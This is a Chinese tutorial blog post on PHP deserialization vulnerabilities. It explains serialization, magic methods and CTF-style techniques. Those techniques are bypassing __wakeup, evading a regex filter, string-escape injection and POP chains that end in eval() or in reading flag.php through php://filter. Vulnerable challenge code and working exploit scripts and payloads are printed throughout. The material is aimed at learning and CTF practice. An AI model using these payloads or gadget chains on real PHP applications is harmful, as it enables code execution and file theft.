当前位置:网站首页>web安全-PHP反序列化漏洞
web安全-PHP反序列化漏洞
2022-08-03 05:10:00 【Pattie.】
一.PHP序列化与反序列化
序列化:把对象转换为字节序列,永久存到磁盘中。在网络中传输对象也要进行序列化。
反序列化:从磁盘中读取字节序列将它们反序列化成对象读出来。
PHP中的serialize()和unserialize()两个函数:
1.serialize()
serizlize()就是将变量、对象、数组等数据类型转换成字符串方便进行网络传输和存储。
<?php
class Person{
//类的数据
public $age = 18;
public $name = 'lxy';
}
//创建一个对象
$usr = new Person();
//输出序列化后的数据
echo serialize($usr)
?>
打印其序列化结果:
O:6:"Person":2:{s:3:"age";i:18;s:4:"name";s:3:"lxy";}
“O”表示对象,“6”表示对象的类名长度,“Person”为对象名,“2”表示对象中有2个变量。
s:4:"name";s:3:"lxy"中,“s”表示变量类型,为string对象;s:4:"name"代表的是变量名长度和变量名,s:3:"lxy"代表的是变量的值,和值的长度。
注意:如果变量前是protected,则会在变量名前加上\x00*\x00
,
private则会在变量名前加上\x00类名\x00
。其中:\x00
表示空字符,但是还是占用一个字符位置(空格),如下例:
<?php
class test{
protected $a;
private $b;
function __construct(){
$this->a="name";
$this->b="sex";
}
}
$a = new test();
echo serialize($a);
?>
输出:
O:4:"test":2:{s:4:" * a";s:4:"name";s:7:" test b";s:3:"sex";}
序列化格式:
a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串
2.unserialize()
unserialize()将字符串进行转换成原来的数据。当存在反序列化函数及可利用魔术方法时,且unserialize()接受到的字符串对于用户是可控时,用户可针对使用的魔术方法来构造特定的语句,从而达到控制整个反序列化过程。
对上例进行反序列化:
<?php
class Person{
//类的数据
public $age = 18;
public $name = 'lxy';
//输出数据
public function printdata()
{
echo 'Person '.$this->name.' is '.$this->age.' years old.<br />';
}
}
//重建对象
$usr = unserialize('O:6:"Person":2:{s:3:"age";i:18;s:4:"name";s:3:"lxy";}');
//输出数据
$usr->printdata();
?>
输出结果:
Person lxy is 18 years old.
二.PHP中常用魔术方法及触发条件
PHP中把以两个下划线__
开头的方法称为魔术方法(Magic methods)
__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set() //在给不可访问属性赋值时触发
__isset() //当对不可访问属性调用 isset() 或 empty() 时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
1. __construct(),类的构造函数
触发时机:在对象实例化(创建对象)的时候自动触发
作用:初始化成员属性
注意:如果构造方法具有参数,且参数没有默认值,在实例化对象时,必须在类名后面的括号内添加实参
构造方法的在类中的声明格式
function __constrct([参数列表]){ 方法体 //通常用来对成员属性进行初始化赋值}
2. __desctruct(),类的析构函数
__desctruct()析构函数,不需要显示的调用,系统会自动调用这个方法。
触发时机:在销毁对象的时候自动触发(unset() 或者 页面执行完毕)
作用:回收对象使用过程中的资源,配合 unset 使用
析构方法的声明格式
function __destruct(){ //方法体}注意:析构函数不能带有任何参数。
3. __get,获得一个类的成员变量时调用
触发时机:访问私有成员属性的时候自动触发
作用:1. 防止报错 2. 为私有成员属性访问提供后门
参数:一个 访问私有成员属性名称
参数:__get 函数只能进行查看无法进行修改
4. __set(),设置一个类的成员变量时调用
触发时机:对私有成员属性进行设置值时自动触发
作用:1. 屏蔽错误 2. 为私有成员属性设置提供后门
参数:两个 $a 私有成员属性的原值 $b 私有成员属性的新值
5. __isset(),当对不可访问属性调用isset()或empty()时调用
触发时机:对私有成员属性进行 isset 进行检查时自动触发
作用:代替对象外部的 isset函数检测,返回结果
参数:1个 ,私有成员属性名
返回值:一般返回 isset()检查结果
6. __unset(),当对不可访问属性调用unset()时被调用
触发时机:对私有成员属性进行 unset 进行检查时自动触发
作用:代替对象外部的 unset函数检测
参数:1个 ,私有成员属性名
返回值:一般返回 isset()检查结果
从序列化到反序列化这几个函数的执行过程是:
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()
三.PHP反序列化常见姿势
1.[极客大挑战 2019]PHPwp:__wakeup()函数绕过
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
通过get方式传入参数'select' ,并且对select参数反序化操作,可能通过触发魔法函数来触发漏洞
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
满足两个条件:password == 100 and username == ‘admin’ 就能得到flag了,但是__wakeup魔法函数会对我们的username参数进行重新赋值,所以需要绕过这个函数。
构造payload:
<?php
class Name{
private $username = 'admin;
private $password = '100';
}
$a = new Name();
$aim=serialize($a);
echo $aim;
?>
得到:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
因为要绕过__wakeup()
,不然username就被赋值为guest,当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行,
所以(加上%00是因为username和password都是私有变量):
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
2.反序列化绕过正则
/[oc]:\d+:/i研究:
OC:正则表达式。正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、及这些特定字符的组合,组成一个“规则字符串”,这个“规则字符串”用来表达对字符串的一种过滤逻辑。
\d: 匹配一个数字字符。等价于 [0-9]。
+: 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
/i: 表示匹配的时候不区分大小写。preg_match('/^O:\d+/')
匹配序列化字符串是否是对象字符串开头。
<?php
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test4.php");
}
?>
通过源码可以看出存在一个反序列化漏洞
构造payload :
O:4:"baby":1:{s:4:"file";s:9:"index.php";}
但是由于存在正则表达式 preg_match('/[oc]:\d+:/i',$data,$matches);
对序列化字符串做了限制导致触发防御,前面的O:4:符合正则的条件,因此将其绕过即可。利用符号+就不会正则匹配到数字,新的payload 为:
O:+4:"baby":1:{s:4:"file";s:9:"index.php";}
3.反序列化字符逃逸
字符逃逸的原理:
序列化后的字符串在进行反序列化操作时,会以{}两个花括号进行分界线,花括号以外的内容不会被反序列化。
情况1:过滤后字符变多
<?php
class A{
public $name = 'aaaaaaaaaaaaaaaaaaaaaaaaaa";s:6:"passwd";s:3:"123";}';
public $passwd = '1234';
}
$ss = new A();
$str = serialize($ss);
//echo $str;
function filter($str){
return str_replace('aa','bbbb',$str);
}
$tt = filter($str);
echo $tt;
$qq = unserialize($tt);
var_dump($qq);
?>
未替换时序列化结果:
o:1:"A":2:{s:4:"name";s:52:"aaaaaaaaaaaaaaaaaaaaaaaaaa";s:6:"passwd";s:3:"123";}";s:6:"passwd";s:4:"1234";}
其中,这段代码主要目的就是间接修改passwd的值。
";s:6:"passwd";s:3:"123";}
这个字符串一共有26字符。我们想要让这段字符串进行反序列化,而;}正好将前面闭合,从而将字符串";s:6:"passwd";s:4:"1234";}逃逸出去,间接修改passwd的值。序列化字符串中将aa替换为bbbb,这样就多出两个字符。输入13个aa,就会多出26个字符,正好达到name的字符串长度。
o:1:"A":2:{s:4:"name";s:52:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}
成功将s:6:"passwd";s:3:"123";}反序列化,这样就将passwd的值改为123。
情况2:过滤后字符变少
<?php
class A{
public $name = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}';
public $passwd = '1234";s:6:"passwd";s:3:"123';
}
$ss = new A();
$str = serialize($ss);
//echo $str;
function filter($str){
return str_replace('bb','a',$str);
}
$tt = filter($str);
echo $tt;
$qq = unserialize($tt);
var_dump($qq);
?>
未替换时序列化结果:
o:1:"A":2:{s:4"name";s:76:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}";s:6:"passwd";s:27:"1234";s:6:"passwd";s:3:"123";}
同样道理,我们要将s:6:"passwd";s:3:"123成功反序列化,那么就要让
";s:6:"passwd";s:27:"1234
这段字符串逃逸。这段字符串一共有25个字符,将name中25个bb替换为25个a,就可以达到效果。
o:1:"A":2:{s:4"name";s:76:"aaaaaaaaaaaaaaaaaaaaaaaaa";s:6:"passwd";s:3:"123";}";s:6:"passwd";s:27:"1234";s:6:"passwd";s:3:"123";}
4.POP链的构造利用
0x01:
源码 :
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
w44m类中的Getflag()可执行,再顺着向前推,看看怎么可以调用Getflag(),发现w33m类中的__toString()中有个函数调用而且类名和函数名都是变量,那么这个__toString() 就和Getflag()连接起来了,再向前推,触发__toString()的条件是当一个对象被当作字符串处理,便看到了w22m中__destruct() 。
最后得到的pop链是:首-->w22m : : __destruct() --> w33m : : __toString() -->w44m : : Getflag()-->尾(flag)
构造exp:
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w33m();
$b = new w22m();
$c = new w44m();
$b->w00m = $a;
$a->w00m = $c;
$a->w22m = "Getflag";
echo urlencode(serialize($b));
?>
0x02:
源码:
<?php
error_reporting(0);
show_source("2.php");
class errorr0{
protected $var;
function __construct() {
$this->var = new errorr1();
}
function __destruct() {
$this->var->func();
}
}
class errorr1 {
public $var;
function func() {
echo $this->var;
}
}
class errorr2 {
private $data;
public function func() {
eval($this->data);
}
}
unserialize($_GET['err']);
?>
errorr2中func内的eval为可以执行命令,而errorr0中__destruct()有这个意向,只需要控制errorr0中的变量var就行。
最后得到的pop链:首-->errorr0 : : __construct() --> errorr0 : : __destruct() --> errorr2 : : func --> 尾{ eval() }
构造exp:
<?php
error_reporting(0);
show_source("2.php");
class errorr0{
protected $var;
function __construct() {
$this->var = new errorr2();
}
}
class errorr1 {
public $var;
function func() {
echo $this->var;
}
}
class errorr2 {
private $data="phpinfo();";
}
$a = new errorr0();
echo urlencode(serialize($a));
?>
0x03:
源码:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
想办法构造pop链执行到代码开头的include,观察到__invoke(),对象本身是不能够当做函数去使用的,一旦被当做函数使用,就会回调执行__invoke()方法。
继续审计:
因此,应该思考如何触发__get(),__get()方法将在访问不存在的成员变量时触发,如此处Test->var。
最后是show()类,__wakeup()方法反序列化时直接调用,其中的preg_match()函数对source进行访问触发toString()方法,__toString()方法又访问了str中的source。
如果$str=new Test(),因为Test类中没有source,直接触发__get()魔术方法,函数返回让$p=new Modifier(),以函数形式调用并触发__invoke()魔术方法,最后让Modifier类中的var为我们要读取的flag.php。
构造exp:
<?php
class Modifier{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct()
{
$this->str=new Test();
}
}
class Test{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$hack=new Show();
$hack->source=new Show();
$hack->source->str->p=new Modifier();
echo urlencode(serialize($hack));
边栏推荐
猜你喜欢
Ali cloud object storage oss private barrels to generate links
Super handy drawing tool is recommended
阿里云对象存储oss私有桶生成链接
【HMS core】【Ads Kit】Huawei Advertising——Overseas applications are tested in China. Official advertisements cannot be displayed
Harmony OS ets ArkUI 】 【 】 the development basic page layout and data connection
Kotlin-Flow common encapsulation class: the use of StateFlow
在树莓派上搭建属于自己的网页(1)
VR全景展打造专属元宇宙观展空间
Harmony OS Date ano UI 】 【 】 the basic operation
idea uses @Autowired annotation to explain the reasons and solutions
随机推荐
业务表解析-余额系统
Super handy drawing tool is recommended
shell script loop statement
第四次培训
Practical application of WebSocket
Interface testing framework of actual combat (2) | interface request assertion
ss-3.工程重构
1095 解码PAT准考证 (25 分)(C语言)
Kotlin-Flow common encapsulation class: the use of StateFlow
13.< tag-动态规划和回文字串>lt.647. 回文子串 + lt.516.最长回文子序列
【Harmony OS】【ARK UI】ets use startAbility or startAbilityForResult to invoke Ability
2022/08/02 Study Notes (day22) Multithreading
【Harmony OS】【FAQ】Hongmeng Questions Collection 1
idea uses @Autowired annotation to explain the reasons and solutions
Talking about GIS Data (5) - Geographic Coordinate System
Benchmark 第一篇 了解Benchmark
传说中可“免费白拿”的无线路由器 - 斐讯 K2 最简单刷 breed 与第三方固件教程
Where is the value of testers
UV decomposition of biotin - PEG2 - azide | CAS: 1192802-98-4 biotin connectors
建立树形结构